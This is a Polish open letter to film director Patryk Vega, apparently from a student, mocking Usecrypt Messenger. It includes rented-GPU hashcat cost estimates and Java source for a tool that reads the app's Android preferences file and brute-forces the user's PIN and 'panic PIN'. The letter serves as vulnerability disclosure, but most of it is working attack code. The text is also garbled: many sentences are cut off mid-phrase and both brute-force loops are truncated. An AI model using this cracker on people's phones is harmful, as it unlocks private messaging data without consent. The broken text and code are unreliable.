List otwarty do Patryka Vegi
Drogi Patryku. Ustalmy na wstepie - jestes rezyserem i znasz sie na branzy filmowej. Nie znasz sie
na komputerach, sieciach ani tym bardziej kryptografii. Reklamujesz Usecrypt Messengera i niestety
twoi nowi koledzy robia
Mowisz, ze fachowcy
Aby ten atak dalej pociągnać należy nie
do łamania na jakąs potężną maszynke z hashcatem, np amazon p3.16xlarge z ładnym benchmarkiem.
https://hashcat.net/forum/thread-6972.html
Prędkość na 8 kartach Tesla V100-SXM2-16GB na maszynce typu p3.16xlarge to
Speed.Dev.#*.....: 51148.5 kH/s
Sprawdzamy, ile czasu to zajmie, przyjmując 15 MHashy/s:
https://www.bee-man.us/computer/password_strength.html
I jeśli PIN jest 8 znakowy to takie łamanko potrwa 16 minut, czyli mieścimy się w 10 $ za maszynke na godzinę.
10 cyferek PIN to juz ponad 1 dzień obliczeń , co daje jakieś 300$.
12 cyferek to już 16 tygodni łamania.
A jak jest to hasło alfanumeryczne zamiast PINu, to mozna do końca łamania nie dożyc.
8 znaków małe i duże literki i cyferki to już 70 latek łamania.
Dodatkowo trzeba jeszcze złamać zabezpieczenia telefonu, aby dobrać się do pliku z preferencjami w /data/data/ - nie da się wejść przez
czemu? Bo przez bite dwa miesiace
Więc generalnie - jak masz hasełko zamiast PINu 4 cyfrowego to
Patryku, nie mam dla ciebie dobrych wiadomosci. Jesli zlosliwe oprogramowanie odczyta plik
/data/data/uc.messenger/shared_prefs/SecureSMS-Preferences.xml z twojego telefonu z Androidem, a to naprawde
latwe gdy jest sie zlosliwym oprogramowaniem, to oba PIN-y (ten zwykly i ten paniczny) stoja otworem.
Wiem, ze ciezko bedzie Ci w to uwierzyc, wiec zalaczam program za pomoca ktorego
Usecrypt Messengera. Potrzebuje on do dzialania pliku SecureSMS-Preferences.xml z prywatnego katalogu Usecrypt
Messengera. Uruchamiasz program z nazwa tego pliku jako parametrem, czekasz krotka chwile i dostajesz na
ekranie najpierw Panic PIN a potem PIN.
Serdecznie Cie pozdrawiam
Student II roku (nie napisze, ktorej uczelni)
PS: nie reklamuj wiecej komunikatorow, OK?
----
Do uruchomienia niniejszego programu potrzebujesz bibliotek
Google_Protocol_Buffers_support_0.5.9
axolotl-java-1.4.2
protobuf-java-2.5.0
curve25519-java-0.2.4
org.bouncycastle:bcprov-ext-jdk14:1.51
----
Przykladowe uruchomienie:
Usecrypt Messenger mega h@x0r double PIN cracker
Looking for PANIC PIN, max: 9999
checking 3333
PANIC PIN found: 3333
Looking for PIN, max: 9999
checking 1111
PIN found: 1111
*/
import org.bouncycastle.jce.provider.BouncyCastleProvider;
import org.bouncycastle.util.encoders.Base64;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.whispersystems.libaxolotl.IdentityKey;
import org.whispersystems.libaxolotl.InvalidKeyException;
import javax.crypto.Mac;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import java.io.File;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.Security;
import java.util.Arrays;
public class UsecryptMessengerCracker {
final int max_pin = 9999;
int xml_passphrase_iterations= 20000;
String xml_master_secret=null;
String xml_pref_identity_public_v3=null;
String xml_panic_hash=null;
String xml_mac_salt=null;
public static void main(String[] args) {
UsecryptMessengerCracker d = new UsecryptMessengerCracker();
d.crackUsecryptMessenger(args);
}
public void crackUsecryptMessenger(String[] args) {
Security.addProvider(new BouncyCastleProvider());
System.out.println("Usecrypt Messenger mega h@x0r double PIN cracker");
if (args.length != 1){
System.out.println("You need to provide a Usecrypt Messenger XML file from Android phone as a parameter");
System.out.println("This is the one you need: /data/data/uc.messenger/shared_prefs/SecureSMS-Preferences.xml");
System.exit(-1);
}
if (!new File(args[0]).exists()){
System.out.println("File does not exist: "+args[0]);
System.exit(-2);
}
DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
try {
DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
Document doc = dBuilder.parse(new File(args[0]));
Element map = doc.getDocumentElement();
for (int i = 0; i < map.getChildNodes().getLength(); i++){
Node n = map.getChildNodes().item(i);
String name = n.getNodeName();
if (name.equals("string") && n.hasAttributes() ){
Node attrib = n.getAttributes().item(0);
if (attrib.getNodeValue().equals("master_secret")){
xml_master_secret = n.getTextContent();
}
if (attrib.getNodeValue().equals("pref_identity_public_v3")){
xml_pref_identity_public_v3 = n.getTextContent();
}
if (attrib.getNodeValue().equals("panic_hash")){
xml_panic_hash = n.getTextContent();
}
if (attrib.getNodeValue().equals("mac_salt")){
xml_mac_salt = n.getTextContent();
}
}
if (name.equals("int") && n.hasAttributes() ){
Node attrib = n.getAttributes().item(0);
if (attrib.getNodeValue().equals("passphrase_iterations")){
String v = n.getAttributes().item(1).getTextContent();
xml_passphrase_iterations = Integer.parseInt(v);
}
}
}
} catch (Exception e) {
System.out.println("Error parsing XML: "+e.toString());
System.exit(-3);
}
if (xml_master_secret==null || xml_pref_identity_public_v3==null || xml_panic_hash==null || xml_mac_salt==null){
System.out.println("XML does not contain all required fields: ");
System.exit(-4);
}
byte[] panic_hash_decoded = Base64.decode(xml_panic_hash);
String ret = findPanicPIN(max_pin, panic_hash_decoded, xml_pref_identity_public_v3);
if (ret != null){
System.out.println("PANIC PIN found: "+ret);
}else{
System.out.println("PANIC PIN not found");
}
ret = findMasterSecret(max_pin, xml_master_secret, xml_mac_salt);
if (ret != null){
System.out.println("PIN found: "+ret);
}else{
System.out.println("PIN not found");
}
}
public String findPanicPIN(int max, byte[] panic_hash_decoded, String pref_identity_public_v3) {
System.out.println("Looking for PANIC PIN, max: "+max);
for (int i=0; i
System.out.print("checking ");
System.out.print(s);
System.out.print("\r");
if(validatePanicPIN(s, panic_hash_decoded, pref_identity_public_v3)){
System.out.println("");
return s;
}
}
System.out.println("");
return null;
}
public boolean validatePanicPIN(String pin, byte[] panic_hash_decoded, String pref_identity_public_v3) {
byte[] b2 = new byte[0];
try {
b2 = getHashFromPassphrase(new IdentityKey(Base64.decode(pref_identity_public_v3), 0).serialize(), pin);
} catch (InvalidKeyException e) {
e.printStackTrace();
}
if (Arrays.equals(panic_hash_decoded,b2)) {
return true;
}else{
return false;
}
}
private static byte[] getHashFromPassphrase(byte[] var0, String var1) {
byte[] var3 = var1.getBytes();
byte[] var2 = new byte[var3.length + var0.length];
System.arraycopy(var3, 0, var2, 0, var3.length);
System.arraycopy(var0, 0, var2, var3.length, var0.length);
byte[] var01 = var2;
try {
MessageDigest var11 = MessageDigest.getInstance("SHA-256");
var11.update(var01);
var01 = var11.digest();
} catch (NoSuchAlgorithmException var21) {
var01 = null;
}
return var01;
}
public String findMasterSecret(int max, String master_secret, String mac_salt) {
System.out.println("Looking for PIN, max: "+max);
byte[] master_secret_decoded = Base64.decode(master_secret);
byte[] mac_salt_decoded = Base64.decode(mac_salt);
for (int i=0; i
System.out.print("checking ");
System.out.print(candidatePass);
System.out.print("\r");
if(true == verifyMasterPIN(candidatePass, master_secret_decoded, mac_salt_decoded, xml_passphrase_iterations)){
System.out.println("");
return candidatePass;
}
}
System.out.println("");
return null;
}
public boolean verifyMasterPIN(String pin, byte[] master_secret_decoded, byte[] mac_salt_decoded, int passphrase_iterations) {
try {
int var4 = passphrase_iterations;
byte[] var0 = mac_salt_decoded;
PBEKeySpec var32 = new PBEKeySpec(pin.toCharArray(), var0, var4);
SecretKeySpec var41 = new SecretKeySpec(SecretKeyFactory.getInstance("PBEWITHSHA1AND128BITAES-CBC-BC").generateSecret(var32).getEncoded(), "HmacSHA1");
Mac var31 = Mac.getInstance("HmacSHA1");
var31.init(var41);
Mac var411 = var31;
var0 = new byte[master_secret_decoded.length - var411.getMacLength()];
System.arraycopy(master_secret_decoded, 0, var0, 0, var0.length);
byte[] var5 = new byte[var411.getMacLength()];
System.arraycopy(master_secret_decoded, master_secret_decoded.length - var411.getMacLength(), var5, 0, var5.length);
if (Arrays.equals(var5, var411.doFinal(var0))) {
return true;
} else {
return false;
}
} catch (Exception e) {
//System.out.println(e.toString());
return false;
}
}
}